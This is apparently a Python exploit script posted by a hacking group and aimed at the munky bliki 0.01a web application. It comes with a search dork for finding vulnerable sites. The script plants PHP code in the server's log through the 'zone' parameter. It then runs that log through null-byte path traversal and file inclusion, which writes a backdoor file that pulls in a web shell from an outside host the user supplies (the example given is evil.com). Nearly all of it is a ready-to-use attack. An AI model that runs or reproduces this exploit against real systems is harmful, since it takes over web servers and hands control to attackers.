#!user/bin/python
#####################################################################################
#####################################################################################
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) #
#Our Site : Http://IRCRASH.COM #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) #
#####################################################################################
#Script Download : http://kent.dl.sourceforge.net/sourceforge/munky/munky-bliki-0.01a.tar.gz
#DORK : "Copyright © 2004 Dovid Kopel" #
#####################################################################################
#http://Site/?zone=file.type%00 #
#By this exploit u can create a shell on valun site ;) #
#####################################################################################
###################################### TNX GOD ######################################
import httplib,urllib
site=raw_input('Site [Ex www.r3d.com]: ')
path=raw_input('Path [Ex /munky]: ')
shell=raw_input('Shell [Ex http://evil.com/shell.txt]: ')
print "[]Powered by : R3d.W0rm - [email protected]"
conn=httplib.HTTPConnection(site)
print "[]Connected to " + site
print "[]Sending shell code …"
conn.request('GET',path + "/?zone=<?php%20$fp=fopen('r3d.w0rm.php','w%2B');fwrite($fp,'<?php%20include%20\\'" + shell +
"\\';?>');fclose($fp);?>")
print "[]Running shell code …"
data=urllib.urlopen('http://' + site + path + '/?zone=…/logs/counts.log%00')
print "[]Shell created"
print "[]" + site + path + '/r3d.w0rm.php'